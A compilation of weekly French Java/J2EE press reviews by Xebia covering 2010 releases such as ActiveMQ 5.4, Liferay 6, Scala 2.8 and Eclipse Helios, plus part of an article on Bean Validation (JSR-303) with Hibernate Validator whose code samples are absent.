Actualité éditeurs / SSII

• James Gosling sur l’affaire Oracle vs Google
• ActiveMQ 5.4.0

Le coin de la technique

• Hibernate ne supporte plus CGLIB

Actualité éditeurs / SSII

James Gosling sur l’affaire Oracle vs Google

James Gosling revient sur l’épisode Oracle vs Google avec un article dans lequel il nous donne quelques éléments pour mieux comprendre la politique de Sun vis à vis de Java et des brevets :

• Sun a principalement déposé des brevets afin de se protéger d’éventuelles attaques venant de ses concurrents. Un épisode malheureux dans lequel Sun fut attaqué par IBM concernant un brevet sur les processeurs RISC leur fit prendre conscience qu’il était nécessaire de posséder un arsenal de brevets. Le procès se termina en effet en leur défaveur et ils durent payer d’importantes indemnités à IBM, les mettant au bord du dépôt de bilan.
• Les brevets sur la technologie Java et le choix de la license CDDL avaient pour but de garantir l’interopérabilité des applications java sur les différentes plateformes. Cette protection a donné lieu à un procès entre Sun et Microsoft car ce dernier avait fournit une implémentation d’un machine virtuelle Java sur laquelle le code ne s’exécutait pas de la même manière que sur les autres JVM (dont celle de Sun) qui respectaient les spécifications. La machine virtuelle java de Google présentant elle aussi des problèmes d’interopérabilité, Oracle se sert de cette jurisprudence pour les poursuivre.
• Sun aurait souhaité obtenir une partie des bénéfices générés par la plateforme Android mais sans succès. Il semble donc qu’Oracle souhaite continuer dans cette voie mais en choisissant de sortir l’artillerie lourde pour parvenir à ses fins.

Cette affaire a un effet néfaste sur l’image de Java et James Gosling, loin de cautionner l’action d’Oracle, regrette l’absence de moralité des grandes compagnies informatiques actuelles.

ActiveMQ 5.4.0

Un peu moins d’un an après la dernière release, Apache sort une nouvelle version de son broker de message. Au-delà des 283 bugs résolus, on notera quelques nouvelles fonctionnalités intéressantes:

• Priorité des messages: Jusqu’à maintenant pour jouer sur la priorité de certains messages sur d’autres il fallait contourner le problème en utilisant plusieurs queues de messages qui pouvaient être, elles, priorisées. Le point de blocage jusqu’à maintenant était lié à l’ordonnancement des messages, trop gourmand en temps. Ce problème semble être en partie réglé et le paramètre priorité du message JMS (inclus dans l’API) sera pris en compte.
• Planifier ses messages: ActiveMQ possède à présent un planificateur persistant de message. En d’autres termes, il est possible à l’envoi du message de préciser la date réelle de l’envoi et la durée entre la répétition d’un envoi. L’interface permet même de préciser tout cela sous la forme d’une entrée CRON. Ceci peut être assez intéressant pour par exemple faire du heartbeat (envoi d’un message à intervalle régulier pour s’assurer du fonctionnement de l’application ou faire des calculs de performance).
• WebSocket: Le sujet est à la mode, surtout avec l’émergence d’HTML 5, HornetQ le propose également sur sa dernière version. Il s’agit d’utiliser le broker de messages depuis du code javascript. Tout comme HornetQ, ActiveMQ utilise son protocole de message simplifié STOMP. Deux librairies javascripts sont proposées sur leur site: Stomple et stomp-websocket.

Hormis ces nouveautés, des améliorations ont été apportées sur OSGI et le shell unix.

Le coin de la technique

Hibernate ne supporte plus CGLIB

Historiquement CGLIB a rendu de nombreux services à Hibernate et Spring pour permettre de manipuler le bytecode Java. Par exemple, vous avez sans doute déjà vu passer un proxy préfixé par CGLIB lorsque vous débuggez votre application. Mais récemment, Steve Ebersole, développeur chez Hibernate, a annoncé qu’il n’y aurait plus de support pour cette librairie. Cette décision aurait été prise non pas pour des raisons purement techniques mais parce que cette librairie n’aurait plus de support et semble figée à la version 2.2 qui date de 2008. L’auteur donne pour exemple un ancien bug sur une incompatibilité de version de la librairie ASM (qui manipule à un niveau plus bas le bytecode) avec celle de Spring et qui mit un an à être corrigé.

Hibernate à présent privilégiera Javassist, un projet JBoss (tout comme Hibernate, tiens, tiens…), aux fonctionnalités similaires mais encore en vie. Reste à savoir si Spring suivra la même démarche.

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• Du BI en SaaS gratuit pendant un an avec Tibco
• Sortie de la version 6 du portail open-source Liferay
• Spring facilite l’adoption d’AMQP

SOA

• Sortie d’Apache Camel 2.4

Le coin de la technique

• Scala 2.8 enfin finale !
• BigPipe : L’optimisation du temps de chargement selon FaceBook
• Twitter abandonne le stockage sur Cassandra

Actualité éditeurs / SSII

Du BI en SaaS gratuit pendant un an avec Tibco

Tibco vient de mettre à disposition sa suite Spotfire Business Intelligence en mode SaaS gratuitement pendant une année. Cette nouvelle solution permet d’importer des données depuis diverses sources, telles que les feuilles excel, les bases de données Access, Oracle, … et de les présenter dans des rapports interactifs, facilitant ainsi leur analyse.

Spotfire présente deux principaux avantages :

• Le mode SaaS de la solution accélère la construction des rapports BI et par conséquence leur mise à disposition au business, en éliminant tout le temps de mise en place des infrastructures habituellement nécessaires pour ce genre de projet.

• L’autre grande nouveauté mise en avant par l’éditeur est le côté social de sa solution. L’utilisateur de Spotfire, pourra partager ses rapports avec ses collaborateurs situés n’importe où dans le monde pour une plus grande interactivité.

Plus de détails sur le site de l’éditeur.

Sortie de la version 6 du portail open-source Liferay

Brian Chan, fondateur du projet Liferay, vient d’annoncer sur le blog de l’entreprise la sortie de la 6ème version du portail open-source.

Cette nouvelle version apporte son lot de nouveautés :

Gestion de contenu :

• Possibilité de partager du contenu entre différentes communautés grâce à l’ajout d’un scope Global, et d’un nouveau portlet d’administration (Asset Publisher Portlet).
• Utilisation de tags et de catégories pour une meilleure organisation et une recherche plus précise des informations.
• Gestion de la validation et de la parution des articles à l’aide d’un Workflow pouvant s’appuyer sur jBPM 3.0, puis prochainement sur la solution BPMS d’Intalio.

Administration du portail :

• Mise en place d’indicateur JMX pour le monitoring des performances des différents portlets déployés sur le portail.
• Ajout d’un système d’audit permettant d’enregistrer un certain nombre de mesures, pouvant être traitées ultérieurement (Audit Framework).
• Intégration avec les systèmes de reporting Jasper Reports et BIRT à travers le nouveau module Report Engine Framework.
• Simplification de l’administration du portail grâce à l’ajout d’une nouvelle console basée sur l’exécution de scripts.

Interfaces utilisateur :

• Ajout d’un nouveau composant appelé Dockbar qui améliore la navigation au sein des différentes communautés du portail.
• Possibilité de créer en un clic une nouvelle communauté ou une nouvelle page, en indiquant simplement le Template de page à utiliser.
• Réorganisation du portlet Document Library afin de simplifier la gestion des documents au sein du portail.

Extension et intégration :

• Ajout du module Generic Asset Framework, permettant d’interagir simplement avec les Workflows internes du portail ainsi que sur les options de sécurité.
• Intégration avec le framework Web Alloy UI, permettant de créer simplement des interfaces en HTML 5 s’appuyant sur les standards du W3C.
• Mise en place d’un framework de script permettant d’étendre les applications créées en dehors du portail.
• Nouvelle intégration native du portlet Document Library avec les solutions de gestion de documents et notamment Documentum, ainsi que l’amélioration de l’intégration avec Sharepoint.

Avec cette nouvelle version de Liferay Portal, Liferay continu d’étoffer son offre Portail et montre qu’il reste parmi les leaders du domaine. L’intégration avec les outils de BPM, de reporting et de gestion de documents du marché montre la volonté de la société de se diriger de plus en plus vers une solution ouverte et inter-connectée.

Pour plus d’information sur les nouveautés :

Toutes les nouvelles fonctionnalités de la version 6.0
La liste des changements sur le JIRA du projet

Spring facilite l’adoption d’AMQP

Comme on pouvait s’y attendre avec le rachat de RabbitMQ par VMWare, Spring intégre petit à petit des fonctionnalités facilitant l’adoption d’AMQP.

Le premier milestone de Spring AMQP 1.0.0 matérialise cet effort. Un gros point de satisfaction, Spring ne s’est pas contenté de fournir la partie cliente Java de RabbitMQ mais propose une réelle abstraction du protocole AMQ. Par contre la gestion des versions de la spécification reste un peu flou. Elle semble caler sur la version 0.8 tout en étant compatible avec la 0.9.1.

La distribution vient avec 4 modules : spring-amqp, spring-rabbit,spring-rabbit-admin et spring-erlang. Ce dernier est le plus inattendu et la documentation semble indiquer que le projet est expérimental. Pour rappel le serveur de RabbitMQ est implémenté en Erlang, un langage très perfomant sur les aspects concurrentiels.

La documentation, bien qu’incomplète, a la bonne idée de proposer plusieurs cas d’utilisation et laisse entrevoir un bon support pour Spring Integration. Cette nouvelle est quoiqu’il en soit une très bonne nouvelle pour l’adoption d’AMQP dans le monde Java. Par ailleurs Spring propose également une version .Net.

SOA

Sortie d’Apache Camel 2.4

La version 2.4.0 du projet Apache Camel est mise à disposition moins de 2 mois seulement après la sortie de la version 2.3.0. Elle vient compléter un changelog déjà très fourni sur la version précédente et apporte un certain nombre de corrections, d’améliorations et de nouveautés:

• Le support d’OSGI Blueprint via la création d’un namespace XML adapté permettant de définir des routes Camel. Ce namespace est pour le moment uniquement exploitable via l’implémentation Blueprint ‘Apache Aries’ utilisée par le projet ‘Apache Karaf’. A noter que la définition d’errorHandler n’est pas possible pour le moment.

• Un moteur de routage asynchrone non bloquant complet: tous les patterns d’intégration sont supportés ainsi que différents composants: JBI, NMR, CXF, Jetty et Netty.
• La version de Spring utilisée par Camel passe à la 3.0.3 marquant ainsi la fin du support de la branche 2.0 (La version 2.5 étant encore supportée). Le support de Spring Security pour sa part change également de version et passe à la 3.0.3.RELEASE.

La version 2.3.0 proposait déjà de nombreuses améliorations majeures telles que le support des Property placeholders qui manquaient cruellement, ainsi que le support d’un nombre conséquent de nouveaux composants (camel-exec, camel-nagios, camel-netty, camel-spring-spring-security, camel-crypto, …). Le projet Camel devrait à coup sûr continuer à faire parler de lui dans les prochains mois, tout en s’imposant un peu plus comme un acteur majeur dans le milieu des frameworks d’intégration.

Le coin de la technique

Scala 2.8 enfin finale !

Après plusieurs mois de bêtas et de release candidates, voici enfin venir la toute dernière version de Scala en finale à savoir la 2.8.0 ! Cette version quasi majeure est considérée par beaucoup comme une 3.0 tellement les nouveautés sont nombreuses.

Au menu : la nouvelle API collection, la spécialisation de type, une nouvelle implémentation des Array, les arguments nommés et par défaut, les Package Objects, le support des continuations ou bien encore le REPL amélioré. Les nouveautés étant nombreuses, je pense que cette nouvelle version mériterait bien son petit article, n’est-il pas ?

La mise à jour de Scala par votre IDE est possible, pour les autres le téléchargement de la distribution se passe par ici.

BigPipe : L’optimisation du temps de chargement selon FaceBook

Après les outils Yahoo (YSlow) et Google (Google Speed), c’est au tour de facebook de sortir de son chapeau une arme secrète pour réduire le temps de chargement des pages. Cette fois la solution est tout autre, ni Sprite CSS, ni JavaScript compacté, il faut paralléliser le chargement des pages par blocs. Avec BigPipe, le serveur envoi un bloc d’en-tête HTML qui s’occupe de charger la librairie BigPipe et fournit un template pour positionner les blocs appelés ‘pagelet’. Le serveur va ensuite envoyer toujours dans la même réponse, un bloc JavaScript par pagelet invoquant une méthode de chargement. L’objet Json fournit en paramètre contient le contenu HTML, l’URL de la CSS et celle du JavaScript nécessaire. Pendant que le navigateur charge une CSS et affiche un nouveau bloc HTML, le serveur est encore en train d’injecter ses pagelets.
Avec ce système, facebook a réussi à réduire le temps de chargement perçu par les utilisateurs. Ils précisent diviser par deux le temps de chargement pour la plupart des navigateurs. A l’exception de Firefox 3.6 qui n’a gagné que 22% de temps de chargement.

• L’article sur facebook engineering
• L’article sur InfoQ

Twitter abandonne le stockage sur Cassandra

L’affaire avait fait grand bruit en février : Twitter abandonne MySql pour stocker ses tweets sous Cassandra. Cet abandon donnait à Cassandra une légitimé hors des murs de Facebook. Malheureusement, le soufflet vient de brutalement retomber. Twitter fait machine arrière (ou plutot clarifie son propos, car il y a eu incompréhension (sic)) : les tweets sont stockés et continueront à l’être sous MySql. Cassandra est utilisé au sein de l’entreprise, mais pour d’autres besoins (via TechCrunch). Il se murmure que Cassandra serait au cœur de la prochaine étape de la monétisation de Twitter, un moteur d’analyse public en temps réel. Cette utilisation de Cassandra en interne est confirmée sur le blog de Twitter.

Alors, pourquoi ce changement de stratégie ? Nous n’allons certainement pas hurler avec la meute qui, dès cette annonce a fait fleurir des analyses plus ou moins fantaisistes sur la tenue à la charge de Cassandra, son exploitabilité, et sur tous les défauts que l’on peut prêter à un tel produit. Nous nous rangeons plutôt du coté de ceux qui pense que le timing est mauvais. Tout d’abord parce que Twitter subit actuellement de fréquents pic de charge qui entrainent des coupures de service. Cet effet Coupe du monde de football devrait néanmoins commencer à retomber. La continuité de service semble être la priorité actuellement en terme d’évolutions techniques et architecturales. Ensuite, nous l’avons déjà évoqué, Twitter entre dans une phase où l’entreprise tente de monétiser son service. C’est là aussi, n’en doutons pas, un poste de développement important, avec de nombreux services à créer et à roder.

Pour conclure, nous conservons notre confiance à Cassandra. Son abandon par Twitter (sur une fonctionnalité identifiée, celle du stockage des tweets) est une information stratégique d’importance (MySql garde la confiance d’un des plus grand stockeur du monde web), mais reste un choix stratégique et pas forcément technique. Nous continuerons donc à suivre avec attention les développements de Cassandra, et du NoSql en général.

La JSR-303, finalisée en novembre 2009, fournit une standardisation de ces concepts et fait partie de Java EE 6. Emmanuel Bernard étant le spec lead de cette JSR, assez naturellement l'implémentation Hibernate Validator est devenue celle de référence. C'est cette dernière qui sera exclusivement évoquée dans cet article.

Concepts de base

On étudiera dans cet article la configuration par annotations, mais il reste possible de faire l'équivalent en fichier xml.

Contraintes

Une contrainte est une restriction sur un attribut d'un bean. Beaucoup sont déjà définies dans la JSR-303, Hibernate Validator en rajoute quelques-unes très utiles et l'utilisateur peut définir les siennes comme nous le verrons plus loin.

Voici un exemple pour valider qu'un attribut est non nul :

Les contraintes peuvent être posées directement sur le champ, sur la propriété par l'intermédiaire de l'accesseur ou au niveau de la classe, ce qui nécessite de définir sa propre contrainte. La visibilité du champ n'a pas d'importance car il sera introspecté par réflexion mais il ne doit pas être statique.

Un graphe d'objets peut être validé dans son ensemble, ou bien plus finement. Si une entité à valider possède une autre entité ayant des contraintes, l'annotation @Valid permet de contraindre aussi la validation de cette entité. Cerise sur le gâteau, la validation sur une collection fonctionne aussi, tous les éléments de cette collection devant être valides.

Voici les contraintes standards:

Hibernate Validator ajoute des contraintes intéressantes : @CreditCardNumber, @Email, @NotBlank, @NotEmpty, @Range, @ScriptAssert, @URL. @ScriptAssert est sans doute la plus complexe à mettre en place, elle s'appuie sur la JSR-223 qui fournit une API pour introduire les langages de script, plus de détails ici.

Service de validation

Pour valider ses entités il faut se munir tout naturellement d'un validateur, on passe pour cela par une factory fournie par l'API standard ( javax.validator ) :

Pour récupérer l'implémentation du validateur, l'API utilise le Service Provider de Java. Son fonctionnement est assez simple. Dans le jar contenant l'implémentation il faut ajouter dans le répertoire META-INF/services un fichier nommé javax.validation.spi.ValidationProvider qui contient le nom de la classe implémentant l'interface ValidationProvider. Pour Hibernate Validator il s'agit de la classe HibernateValidator.

Donc pour résumer, il n'y a pas de configuration à faire pour spécifier que Hibernate Validator fournira le Validator, il suffit juste d'ajouter le jar, sauf s'il existe d'autres implémentations de l'API de validation. Dans ce dernier cas, et si on veut être sûr d'utiliser Hibernate Validator, il est possible de définir le provider explicitement :

Ensuite on passe à la validation de nos entités :

On introduit ici l'objet ConstraintViolation, très riche en informations sur les raisons de la non validation d'un élément. C'est cet objet qui va par exemple nous permettre de nous fournir le message associé à l'erreur. Les méthodes de cette classe :

C'est l'occasion de remarquer que l'API de validation propose une gestion interne des ressources, on peut soit récupérer le message directement associé à une propriété ( getMessage() ) soit la clé ( getMessageTemplate() ). Dans le chapitre suivant on détaillera davantage la gestion des ressources.

On peut aussi avoir besoin de ne valider qu'une sous partie des contraintes d'une entité ou de rassembler plusieurs des contraintes de plusieurs entités. L'attribut groups des annotations de contraintes sert à ça. Elle contient une interface (ou une classe, ce qui est moins recommandé) qui sera commune aux contraintes:

Gestion des ressources

A chaque type de contrainte est associé une clé, elle même liée à une propriété. Toutes les contraintes de base ont des messages déjà définis et Hibernate Validator propose même les traductions françaises. Ce message peut être surchargé directement au niveau de la contrainte:

Grâce aux accolades, on peut accéder aux données de l'annotation (dans cet exemple à la valeur minimale). On peut échapper les accolades avec .

Les propriétés sont résolues par l'intermédiaire de l'interface MessageInterpolator qui, par défaut, va chercher un fichier ValidationMessages.properties à la racine du classpath. S'il n'en trouve pas à la racine il ira chercher celui dans le package org.hibernate.validator. On peut donc ainsi, facilement surcharger les propriétés de Hibernate Validator.

Il est possible d'utiliser ses propres resource bundles si on veut par exemple utiliser d'autres fichiers properties, ou les stocker ailleurs que dans le classpath. Pour cela il faut surcharger l'implémentation de ResourceBundleLocator. Ci-dessous, un exemple tiré de la documentation:

A un plus haut niveau, on peut également ne pas passer par des resource bundles mais implémenter sa propre stratégie pour, par exemple, accéder à une base de données. Pour cela il faut fournir une implémentation de l'interface MessageInterpolator.

MyMessageInterpolator implémente donc MessageInterpolator qui a deux méthodes:

messageTemplate étant la clé de la contrainte et context contient des informations sur cette contrainte. Libre ensuite au développeur d'associer la ressource correspondante comme il veut.

Définir sa propre contrainte

Il est possible de créer sa propre contrainte, pour cela on passe par 3 étapes:

• créer l'annotation
• implémenter le validateur
• définir le message d'erreur

Nous allons faire un validateur pour les plaques d'immatriculation et vérifier qu'elles appartiennent à un département donné (il s'agira des anciennes normes, par exemple 123-ABC-93, pas des nouvelles normes européennes). Commençons par l'annotation :

On voit apparaître la notion de Payload, elle peut être utilisée pour enrichir les informations sur cette contrainte. L'exemple proposé en général est le cas où on veut ajouter un niveau de sévérité à une contrainte. On peut récupérer la classe associée dans la description de la contrainte : ConstraintViolation.getConstraintDescriptor().getPayload().

On écrit ensuite le validateur associé :

Enfin on doit ajouter le message qui sera retourné en cas d'erreur dans le fichier de properties ValidationMessages.properties comme vu précédemment. On peut par exemple afficher le département attendu:

Spring/SpringMVC

Depuis la version 3.0 de Spring MVC la JSR-303 est complètement supportée. Tout est donc grandement facilité et valider un formulaire devient quasiment immédiat. On peut résumer la procédure à l'ajout de l'annotation @Valid dans la requête POST de soumission du formulaire:

Les contraintes non validées seront automatiquement injectées dans errors et donc accessibles dans la vue :

Outre Spring MVC, de plus en plus de frameworks de présentation adoptent la JSR-303, remplaçant leurs anciens codes spécifiques par ce nouveau standard. Naturellement JSF 2.0 l'utilise mais on peut aussi citer Wicket ou Tapestry.

Hibernate

Nous avons vu qu'il était possible de valider programmatiquement une entité. Néanmoins, on peut vouloir être encore plus prudent et empêcher les opérations de persistance si une contrainte est violée. Hibernate propose un mécanisme de listeners sur les événements insert, update et remove. Voici un exemple de configuration possible:

Il existe plusieurs modes: none, auto (s'il n'y a aucun jar de validation, il n'y aura pas de validation), callback (s'il n'y a aucun jar une exception est lancée au démarrage), ddl. Cette dernière permet de générer le schéma de base avec les contraintes définies dans l'entité.

Il est possible de différencier les comportements selon le type d'opération:

En cas de violation d'une contrainte une exception de type ConstraintViolationException est lancée, éventuellement englobée dans une exception RollbackException en mode transactionnel. Cette exception contient la liste des ConstraintViolation de l'API Bean Validation vue plus haut.

Une fonctionnalité de l'API encore non évoquée, mais qui rejoint les problématiques souvent rencontrées dans Hibernate, est la notion de traversabilité, formalisée par l'interface TraversableResolver. Celle-ci contient deux méthodes isReachable et isCascadable qui peuvent permettre dans certains cas de désactiver une validation d'un sous-objet. Cela peut permettre lorsqu'on manipule des objets en lazy loading, de préserver ce non-chargement.

Conclusion

Bean Validation impressionne par sa vision complète des problématiques de validation, peu de cas semblent avoir été ignorés ou oubliés, et dans le cas contraire l'API est suffisamment souple pour pouvoir être étendue proprement. Certains regretteront peut-être qu'il n'y ait pas plus de contraintes pré-définies, mais il est extrêmement difficile de définir des contraintes universelles et ajouter sa propre contrainte est vraiment facile.

Outils

• Helios, Eclipse 3.6

SOA

• Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la technique

• Articles sur Groovy/Spring et Grails/Hibernate
• Un nouveau top 10 orienté performance

Agilité

• Happy birthday Post-It !

Outils

Helios, Eclipse 3.6

Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d'Helios pour incarner la version annuelle d'Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.

Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le "Install new software...", un lien direct vers le Marketplace permet très facilement d'installer ces plugins, un peu à la manière d'un plugin Firefox (tout comme le redémarrage obligatoire). L'ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l'implémentation full java utilisée également sur d'autre projets alors qu'EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.

En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:

• Les options du formatter acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le formatter d'une partie du code (intéressant pour aider des merges compliqués).
• Les fonctionnalités sur le breakpoint, comme l'ajout d'une condition ou le compteur, sont à présent directement accessibles dans le panel breakpoints et non plus en passant par un menu contextuel dans le code.

La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d'Eclipse propose un top ten intéressant pour faire le tour des fonctionnalités. Arrive en tête l'application Xtext qui permet d'écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.

Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

MuleSoft, plus connu pour son ESB Open Source Mule, a récemment annoncé la sortie de Tomcat Stats, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l'offre de support également gratuite, proposée par MuleSoft depuis maintenant presque une année. L'application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu'elles soient installées au sein de l'infrastructure propre de l'entreprise ou dans le Cloud. L'ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l'application, notamment l'utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.

Pour télécharger l'application, rien de plus simple il suffit de se rendre sur l'App Store, directement depuis son mobile, ou sur iTunes à l'adresse suivante : Tomcat Stats By MuleSoft Inc.

Bien qu'un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.

Le coin de la technique

Articles sur Groovy/Spring et Grails/Hibernate

IBM developerWorks nous a récemment gratifié d'un article en 2 parties intitulé "GroovierSpring". Dans la première partie, nous apprenons à définir des beans Spring en Groovy. Quatre méthodes sont à notre disposition:

• Utilisation de classes Groovy compilées en .class normaux
• Utilisation de classes Groovy directement sous forme de .groovy
• Utilisation de scripts Groovy en ligne, écrits dans la configuration Spring
• Utilisation de Bean Builder de Grails

Cette dernière possibilité permet de créer des beans dynamiquement, à partir de code Groovy. Cela sous entend que l'on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la logique... C'est d'ailleurs une solution utilisée dans Grails.

Une fois les beans correctement définis, nous pouvons les utiliser comme n'importe quel bean Java défini plus classiquement. Le fait que les beans soient à l'origine en Groovy est complètement transparent à l'application.
La seconde partie de l'article va plus loin en explorant le rechargement à chaud des beans Groovy. C'est une plus-value importante: qui n'a jamais rêvé de pouvoir changer facilement certains bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents !) ? De plus, l'article propose une implémentation permettant de stocker son code Groovy en base de donnée, car il n'est pas toujours évident d'accéder au système de fichier des applications en production. C'est une idée assez peu conventionnelle ! D'ailleurs, le paragraphe de fin, intitulé "When Groovy scripts go bad", constitue une mise en garde pour ne pas abuser de ces possibilités, et être conscient des problèmes de sécurité soulevés.

Tant que nous somme dans le monde de Groovy, il nous semble intéressant de vous indiquer un article du blog de SpringSource qui s'intitule "GORM Gotchas (Part 1)". Il pointe du doigt des comportements de GORM (la couche de persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d'Hibernate n'apprendront pas grand choses, mais l'article éclairera sans doutes ceux qui, attirés par la simplicité de Grails, se sont mis à l'utiliser sans expérience préalable d'Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à "save()", et pourquoi ils le sont parfois en l'absence d'appel à cette même méthode. Un autre article traitant de Grails et Hibernate nous vient de Ted Naleid. Celui-ci explique comment il a pu améliorer les performances de son batch en flushant la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s'appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !

Un nouveau top 10 orienté performance

Ce top10 se trouve sur le blog de l'éditeur Dynatrace. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d'un top 10 sélectif, chez des clients qui avaient conscience d'avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu'il est bon de toujours avoir à l'esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d'expérience.

• une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).
• une mauvaise programmation concurrente, avec un excès de synchronisation.
• un manque de compréhension des appels remote et donc un trop grand nombre d'appels.
• un mauvais usage des frameworks de mapping objet - relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l'utilisation la plus hors de propos de la librairie.
• l'existence de fuite mémoire (mais pourquoi ce point n'a t'il pas été placé en premier ?)
• une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d'introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta...
• une mauvaise utilisation des ressources machine (CPU, I/O...). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.
• des sites web trop chargés. La bande passante ne cesse d'augmenter, mais ce n'est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.
• une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c'est le Garbage Collector qui vous rappellera à l'ordre.
• la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d'objets, ou des objets trop volumineux.

Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c'est en partie la raison de vivre d'un blog éditeur) et nous préférons le déplacer en bonus :

• le problème intermittent, invisible. C'est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.

Agilité

Happy birthday Post-It !

Et pour conclure cette revue de presse, nous ne résistons pas à l'envie de partager avec vous cette nouvelle d'importance: les Post-It, ces fameuses petites notes collantes multicolores, fêtent leurs 30 ans. Rappelons que l'utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d'un Sprint sans Post-It ?! Alors pour leur rendre hommage, regardons quelques photos ou encore cette magnifique vidéo de laquelle ils sont les acteurs majeurs. Bon anniversaire les p'tits gars !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• RabbitMQ 1.8

RIA

• Du côté de chez Play! Framework
• ExtJS + Raphael + jQtouch = Sencha

SOA

• WSO2 lance Stratos, un PaaS ouvert

Le coin de la technique

• Spring, version 3.0.3 et faille de sécurité
• Trucs et astuces pour Eclipse
• Sortie d'Apache Click 2.2.0
• Netbeans 6.9
• Choisir entre mod_jk et mod_proxy, par Mark Thomas

Actualité éditeurs / SSII

RabbitMQ 1.8

Alors que des idées originales sont proposées autour de RabbitMQ, comme cette proposition de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.

La possibilité d'ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d'échanges semble s'adresser surtout aux spécialistes (RabbitMQ pour l'instant ne propose qu'un mode de persistance même si un nouveau est annoncé prochainement).

Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d'AMQP qui est actuellement en version 0.10 et déjà supportée par Qpid. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d'efforts aux brokers pour l'implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de acker plusieurs fois un même message.

On peut regretter aussi que cette version n'apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s'il existe déjà des solutions externes.

Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :

Bien que cette version ne révolutionne rien, elle corrige pas mal d'imperfections et il est chaudement conseillé de l'installer.

RIA

Du côté de chez Play! Framework

Play!, le framework qui monte, qui monte, vient de passer un cap important : une Cheat Sheet vient de lui être consacrée !

Les releases s'enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.

• Play! Framework Cheat Sheet

Egalement à signaler, le lancement d'une plateforme pour héberger vos applications Play! : PlayApps. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l'air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n'avons pas encore eu l'occasion de tester ça, et nous sommes curieux.

ExtJS + Raphael + jQtouch = Sencha

Nous connaissons ExtJS mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient Sencha ! (via ajaxian)

Alors, qu'y a-t-il derrière cette nouvelle identité ? Et bien plusieurs produits déjà sortis et d'autres encore en incubation :

• Sencha Touch : framework HTML5 pour développement mobile (iPhone et Android) ;
• Ext Designer : application desktop de création d'interfaces ;
• Ext JS : on ne présente plus ce framework de création d'interfaces riches en Javascript ;
